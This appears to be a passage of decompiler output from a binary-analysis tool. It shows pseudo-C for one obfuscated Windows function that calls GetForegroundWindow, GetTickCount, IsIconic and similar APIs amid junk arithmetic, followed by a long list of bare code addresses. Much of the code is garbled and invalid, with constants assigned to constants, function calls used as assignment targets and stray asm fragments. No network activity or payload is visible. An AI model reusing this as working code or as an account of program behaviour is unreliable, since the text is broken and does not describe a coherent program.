				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + __cl;
				 *0x6b =  *0x6b + __al;
				__rax = _a152;
				__rax = _a152 + 0x2d;
				_a152 = __rax;
				 *0xb1decf60 = __rax;
				__eflags = __rax - 0x1f;
				if (__eflags < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = 0x2d;
				asm("movsd xmm6, [0x116455]");
				__rbx = 0x3;
				_push(0xe800144c);
				__edx = __eax *  *0x00000000 >> 0x20;
				__eax = __eax *  *0x00000000;
				 *__rax =  *__rax | __rax;
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8308;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (__eflags != 0) goto 0xb1ca8318;
				if (__eflags == 0) goto 0xb1ca831d;
				__eflags = 0x3 - 0x13;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				__eax = GetForegroundWindow();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8333;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x34;
				if (__rax - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				__rbx = 0x45;
				asm("adc cl, [esp+edx]");
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca835e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x1a;
				if (__rax - 0x1a >= 0) goto 0xb1ca8368;
				__eflags = 0x45 - 0x52;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8378;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x34;
				__ecx = r15d & 0xffffff00 | __rax - 0x00000034 < 0x00000000;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8397;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x1f;
				if (__rax != 0x1f) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca83ac;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 4;
				if (__rax == 4) goto 0xb1ca83d6;
				__eax = GetForegroundWindow();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca83c7;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 4;
				__ecx = r15d & 0xffffff00 | __rax != 0x00000004;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				__eflags = r13d - 0x54;
				if (__eflags < 0) goto 0xb1ca83d6;
				__rax = 0x10;
				asm("push ss");
				if (__eflags < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = 0x2d;
				GetUserDefaultLangID() = GetCurrentProcessId();
				__eax = GetTickCount();
				__rcx = 0;
				 *0xb1decf60 = 0x2d;
				__eax = IsIconic(??);
				__rax = 0x50;
				asm("adc al, 0x0");
				__rax = 0x546a3f710000007d;
				__eflags = 0x50 - 0x56;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(0x546a3f710000007d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8440;
				0x4b37058900000050 = 0x7ff727c9ffffffd0;
				__rax = 0x892a61b1fffffffd;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8466;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x63;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x7ff727c9ffffffd0 + 0x2d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8485;
				__rax = 0x892a61b1fffffffd;
				__ecx = r15d;
				__eflags = 0x50 - 0x2c;
				__ecx = r15d & 0xffffff00 | 0x00000050 - 0x0000002c < 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				__rcx = 0;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca84bb;
				__rax = 0x892a61b1fffffffd;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x50;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca84e8;
				__rax = 0x892a61b1fffffffd;
				__ecx = r15d;
				__eflags = 0x50 - 0x6c;
				__ecx = r15d & 0xffffff00 | 0x00000050 != 0x0000006c;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8513;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x18;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8528;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x19;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				__rbx = 0x3e;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				__al = __al + bpl;
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				__eax = __eax & r14d;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x3b;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				__eflags = 0x3e - 0x49;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca856a;
				__rax = 0x892a61b1fffffffd;
				asm("movaps xmm6, [esp+0x30]");
				__eflags = 0x892a61b1fffffffd - 0x19;
				__rax = __rdi;
				r15b = 0x892a61b1fffffffd - 0x19 > 0;
				__eflags = r15b;
				 *0xb1decf60 = r15d;
				__rsp = 0x93339e800000075;
				_pop(__r14);
				_pop(__r12);
				_pop(__rdi);
				_pop(__rsi);
				_pop(__rbp);
				_pop(__rbx);
				return __eax;
			}

0x7ff6b1ca7729
0x7ff6b1ca772b
0x7ff6b1ca7730
0x7ff6b1ca7732
0x7ff6b1ca773d
0x7ff6b1ca7740
0x7ff6b1ca7746
0x7ff6b1ca774b
0x7ff6b1ca774d
0x7ff6b1ca7758
0x7ff6b1ca775a
0x7ff6b1ca775c
0x7ff6b1ca7761
0x7ff6b1ca7763
0x7ff6b1ca776e
0x7ff6b1ca7777
0x7ff6b1ca7779
0x7ff6b1ca777e
0x7ff6b1ca7780
0x7ff6b1ca778b
0x7ff6b1ca7790
0x7ff6b1ca7792
0x7ff6b1ca77a6
0x7ff6b1ca77ac
0x7ff6b1ca77b3
0x7ff6b1ca77c7
0x7ff6b1ca77d6
0x7ff6b1ca77de
0x7ff6b1ca77e9
0x7ff6b1ca77f0
0x7ff6b1ca77fb
0x7ff6b1ca7801
0x7ff6b1ca7807
0x7ff6b1ca780f
0x7ff6b1ca7815
0x7ff6b1ca782f
0x7ff6b1ca7831
0x7ff6b1ca7838
0x7ff6b1ca7846
0x7ff6b1ca7848
0x7ff6b1ca784f
0x7ff6b1ca7863
0x7ff6b1ca7872
0x7ff6b1ca7874
0x7ff6b1ca7875
0x7ff6b1ca7877
0x7ff6b1ca787d
0x7ff6b1ca7880
0x7ff6b1ca7886
0x7ff6b1ca7888
0x7ff6b1ca788b
0x7ff6b1ca788d
0x7ff6b1ca7896
0x7ff6b1ca7899
0x7ff6b1ca789f
0x7ff6b1ca78a2
0x7ff6b1ca78a8
0x7ff6b1ca78ad
0x7ff6b1ca78b2
0x7ff6b1ca78b4
0x7ff6b1ca78b7
0x7ff6b1ca78ba
0x7ff6b1ca78bd
0x7ff6b1ca78c0
0x7ff6b1ca78c2
0x7ff6b1ca78c5
0x7ff6b1ca78cb
0x7ff6b1ca78d0
0x7ff6b1ca78d5
0x7ff6b1ca78d7
0x7ff6b1ca78da
0x7ff6b1ca78dd
0x7ff6b1ca78e0
0x7ff6b1ca78e3
0x7ff6b1ca78e5
0x7ff6b1ca78ec
0x7ff6b1ca78f3
0x7ff6b1ca78fc
0x7ff6b1ca7902
0x7ff6b1ca7907
0x7ff6b1ca790d
0x7ff6b1ca790f
0x7ff6b1ca7912
0x7ff6b1ca7914
0x7ff6b1ca7917
0x7ff6b1ca791d
0x7ff6b1ca7922
0x7ff6b1ca7925
0x7ff6b1ca7927
0x7ff6b1ca792a
0x7ff6b1ca792d
0x7ff6b1ca7930
0x7ff6b1ca7933
0x7ff6b1ca7935
0x7ff6b1ca793e
0x7ff6b1ca7941
0x7ff6b1ca7942
0x7ff6b1ca7944
0x7ff6b1ca7947
0x7ff6b1ca794a
0x7ff6b1ca794a
0x7ff6b1ca794d
0x7ff6b1ca7956
0x7ff6b1ca7958
0x7ff6b1ca795b
0x7ff6b1ca7961
0x7ff6b1ca7966
0x7ff6b1ca7966
0x7ff6b1ca7969
0x7ff6b1ca796b
0x7ff6b1ca796e
0x7ff6b1ca7971
0x7ff6b1ca7974
0x7ff6b1ca7976
0x7ff6b1ca7978
0x7ff6b1ca7981
0x7ff6b1ca7987
0x7ff6b1ca798a
0x7ff6b1ca798c
0x7ff6b1ca798f
0x7ff6b1ca7991
0x7ff6b1ca7994
0x7ff6b1ca799a
0x7ff6b1ca799d
0x7ff6b1ca79a3
0x7ff6b1ca79a9
0x7ff6b1ca79ac
0x7ff6b1ca79af
0x7ff6b1ca79b1
0x7ff6b1ca79ba
0x7ff6b1ca79bd
0x7ff6b1ca79be
0x7ff6b1ca79c0
0x7ff6b1ca79c3
0x7ff6b1ca79c5
0x7ff6b1ca79c8
0x7ff6b1ca79ce
0x7ff6b1ca79d0
0x7ff6b1ca79d3
0x7ff6b1ca79d5
0x7ff6b1ca79d8
0x7ff6b1ca79de
0x7ff6b1ca79e3
0x7ff6b1ca79e3
0x7ff6b1ca79e8
0x7ff6b1ca79ea
0x7ff6b1ca79ed
0x7ff6b1ca79ef
0x7ff6b1ca79f2
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a03
0x7ff6b1ca7a06
0x7ff6b1ca7a0c
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a1e
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a37
0x7ff6b1ca7a39
0x7ff6b1ca7a3b
0x7ff6b1ca7a3d
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4b
0x7ff6b1ca7a4d
0x7ff6b1ca7a4f
0x7ff6b1ca7a51
0x7ff6b1ca7a53
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a5c
0x7ff6b1ca7a65
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a82
0x7ff6b1ca7a84
0x7ff6b1ca7a8a
0x7ff6b1ca7a8c
0x7ff6b1ca7a92
0x7ff6b1ca7a94
0x7ff6b1ca7a9a
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7aac
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7abe
0x7ff6b1ca7ac0
0x7ff6b1ca7ac2
0x7ff6b1ca7ac4
0x7ff6b1ca7ac6
0x7ff6b1ca7ac8
0x7ff6b1ca7acb
0x7ff6b1ca7acd
0x7ff6b1ca7ad0
0x7ff6b1ca7ad2
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae0
0x7ff6b1ca7ae2
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af0
0x7ff6b1ca7af2
0x7ff6b1ca7af4
0x7ff6b1ca7af6
0x7ff6b1ca7af8
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b04
0x7ff6b1ca7b06
0x7ff6b1ca7b08
0x7ff6b1ca7b0a
0x7ff6b1ca7b0c
0x7ff6b1ca7b0e
0x7ff6b1ca7b11
0x7ff6b1ca7b14
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2b
0x7ff6b1ca7b2d
0x7ff6b1ca7b33
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b42
0x7ff6b1ca7b4b
0x7ff6b1ca7b4d
0x7ff6b1ca7b4f
0x7ff6b1ca7b52
0x7ff6b1ca7b5a
0x7ff6b1ca7b5f
0x7ff6b1ca7b61
0x7ff6b1ca7b65
0x7ff6b1ca7b67
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b84
0x7ff6b1ca7b86
0x7ff6b1ca7b8a
0x7ff6b1ca7b8c
0x7ff6b1ca7b8e
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b98
0x7ff6b1ca7b9a
0x7ff6b1ca7b9e
0x7ff6b1ca7ba0
0x7ff6b1ca7ba2
0x7ff6b1ca7ba5
0x7ff6b1ca7ba8
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bb8
0x7ff6b1ca7bba
0x7ff6b1ca7bbe
0x7ff6b1ca7bc0
0x7ff6b1ca7bc2
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd7
0x7ff6b1ca7bd9
0x7ff6b1ca7bdd
0x7ff6b1ca7bdf
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c00
0x7ff6b1ca7c02
0x7ff6b1ca7c06
0x7ff6b1ca7c08
0x7ff6b1ca7c0a
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c18
0x7ff6b1ca7c1a
0x7ff6b1ca7c1e
0x7ff6b1ca7c20
0x7ff6b1ca7c22
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2c
0x7ff6b1ca7c2e
0x7ff6b1ca7c32
0x7ff6b1ca7c34
0x7ff6b1ca7c36
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c40
0x7ff6b1ca7c42
0x7ff6b1ca7c46
0x7ff6b1ca7c48
0x7ff6b1ca7c4a
0x7ff6b1ca7c50
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5a
0x7ff6b1ca7c5c
0x7ff6b1ca7c60
0x7ff6b1ca7c62
0x7ff6b1ca7c64
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c6e
0x7ff6b1ca7c6e
0x7ff6b1ca7c70
0x7ff6b1ca7c74
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c90
0x7ff6b1ca7c95
0x7ff6b1ca7c97
0x7ff6b1ca7c9b
0x7ff6b1ca7c9d
0x7ff6b1ca7c9f
0x7ff6b1ca7ca5
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7cca
0x7ff6b1ca7ccc
0x7ff6b1ca7cd0
0x7ff6b1ca7cd2
0x7ff6b1ca7cd4
0x7ff6b1ca7cd7
0x7ff6b1ca7cda
0x7ff6b1ca7cdd
0x7ff6b1ca7ce8
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cf7
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d02
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1b
0x7ff6b1ca7d1d
0x7ff6b1ca7d1f
0x7ff6b1ca7d22
0x7ff6b1ca7d24
0x7ff6b1ca7d29
0x7ff6b1ca7d29
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d34
0x7ff6b1ca7d37
0x7ff6b1ca7d39
0x7ff6b1ca7d3e
0x7ff6b1ca7d3e
0x7ff6b1ca7d41
0x7ff6b1ca7d47
0x7ff6b1ca7d49
0x7ff6b1ca7d4c
0x7ff6b1ca7d4f
0x7ff6b1ca7d52
0x7ff6b1ca7d58
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6f
0x7ff6b1ca7d72
0x7ff6b1ca7d76
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d95
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da0
0x7ff6b1ca7da3
0x7ff6b1ca7da5
0x7ff6b1ca7da7
0x7ff6b1ca7db2
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc1
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcc
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7ddf
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df2
0x7ff6b1ca7df5
0x7ff6b1ca7df7
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e15
0x7ff6b1ca7e1a
0x7ff6b1ca7e1a
0x7ff6b1ca7e1d
0x7ff6b1ca7e23
0x7ff6b1ca7e25
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e48
0x7ff6b1ca7e4b
0x7ff6b1ca7e51
0x7ff6b1ca7e53
0x7ff6b1ca7e56
0x7ff6b1ca7e59
0x7ff6b1ca7e5c
0x7ff6b1ca7e67
0x7ff6b1ca7e6a
0x7ff6b1ca7e70
0x7ff6b1ca7e72
0x7ff6b1ca7e76
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e81
0x7ff6b1ca7e84
0x7ff6b1ca7e8f
0x7ff6b1ca7e92
0x7ff6b1ca7e98
0x7ff6b1ca7e9a
0x7ff6b1ca7e9d
0x7ff6b1ca7ea0
0x7ff6b1ca7ea3
0x7ff6b1ca7ea9
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb6
0x7ff6b1ca7eb9
0x7ff6b1ca7ec0
0x7ff6b1ca7ec3
0x7ff6b1ca7ec7
0x7ff6b1ca7ec9
0x7ff6b1ca7ecb
0x7ff6b1ca7ece
0x7ff6b1ca7ed5
0x7ff6b1ca7ed8
0x7ff6b1ca7ede
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7ee5
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7efc
0x7ff6b1ca7eff
0x7ff6b1ca7f03
0x7ff6b1ca7f05
0x7ff6b1ca7f07
0x7ff6b1ca7f0a
0x7ff6b1ca7f0d
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f20
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2b
0x7ff6b1ca7f2e
0x7ff6b1ca7f34
0x7ff6b1ca7f39
0x7ff6b1ca7f39
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f44
0x7ff6b1ca7f47
0x7ff6b1ca7f49
0x7ff6b1ca7f4e
0x7ff6b1ca7f4e
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f59
0x7ff6b1ca7f5c
0x7ff6b1ca7f5e
0x7ff6b1ca7f60
0x7ff6b1ca7f66
0x7ff6b1ca7f6b
0x7ff6b1ca7f6b
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f76
0x7ff6b1ca7f7c
0x7ff6b1ca7f7f
0x7ff6b1ca7f89
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f94
0x7ff6b1ca7f97
0x7ff6b1ca7f99
0x7ff6b1ca7f9e
0x7ff6b1ca7f9e
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fa9
0x7ff6b1ca7fac
0x7ff6b1ca7fb7
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fdc
0x7ff6b1ca7fe1
0x7ff6b1ca7fe1
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fec
0x7ff6b1ca7fef
0x7ff6b1ca7ff5
0x7ff6b1ca7ffa
0x7ff6b1ca7ffa
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8005
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8010
0x7ff6b1ca8015
0x7ff6b1ca8015
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8020
0x7ff6b1ca8023
0x7ff6b1ca8026
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca8036
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806f
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807a
0x7ff6b1ca807d
0x7ff6b1ca8080
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8095
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a4
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80af
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c6
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80d1
0x7ff6b1ca80d7
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80ec
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca8101
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca810c
0x7ff6b1ca810f
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca811d
0x7ff6b1ca8122
0x7ff6b1ca8122
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca812d
0x7ff6b1ca8130
0x7ff6b1ca8132
0x7ff6b1ca8137
0x7ff6b1ca8137
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8142
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815a
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8175
0x7ff6b1ca817c
0x7ff6b1ca8184
0x7ff6b1ca8189
0x7ff6b1ca818b
0x7ff6b1ca818d
0x7ff6b1ca818d
0x7ff6b1ca8190
0x7ff6b1ca8195
0x7ff6b1ca8199
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81b6
0x7ff6b1ca81bf
0x7ff6b1ca81c0
0x7ff6b1ca81c2
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d8
0x7ff6b1ca81db
0x7ff6b1ca81dd
0x7ff6b1ca81df
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81f1
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca8203
0x7ff6b1ca8206
0x7ff6b1ca8208
0x7ff6b1ca820a
0x7ff6b1ca820c
0x7ff6b1ca820e
0x7ff6b1ca8211
0x7ff6b1ca8213
0x7ff6b1ca8216
0x7ff6b1ca821d
0x7ff6b1ca8220
0x7ff6b1ca8222
0x7ff6b1ca8224
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822c
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca8237
0x7ff6b1ca823a
0x7ff6b1ca8240
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8269
0x7ff6b1ca826c
0x7ff6b1ca826e
0x7ff6b1ca8270
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca8284
0x7ff6b1ca8287
0x7ff6b1ca8289
0x7ff6b1ca828b
0x7ff6b1ca828d
0x7ff6b1ca828f
0x7ff6b1ca8292
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82a5
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c2
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82eb
0x7ff6b1ca82f4
0x7ff6b1ca82f9
0x7ff6b1ca82f9
0x7ff6b1ca82fb
0x7ff6b1ca82fd
0x7ff6b1ca8300
0x7ff6b1ca8302
0x7ff6b1ca8304
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca8318
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca8323
0x7ff6b1ca8328
0x7ff6b1ca8328
0x7ff6b1ca832b
0x7ff6b1ca832d
0x7ff6b1ca832f
0x7ff6b1ca8331
0x7ff6b1ca8333
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca8341
0x7ff6b1ca834a
0x7ff6b1ca834e
0x7ff6b1ca8353
0x7ff6b1ca8353
0x7ff6b1ca8356
0x7ff6b1ca8358
0x7ff6b1ca835a
0x7ff6b1ca835c
0x7ff6b1ca835e
0x7ff6b1ca8361
0x7ff6b1ca8363
0x7ff6b1ca8366
0x7ff6b1ca836d
0x7ff6b1ca8370
0x7ff6b1ca8372
0x7ff6b1ca8374
0x7ff6b1ca8376
0x7ff6b1ca8378
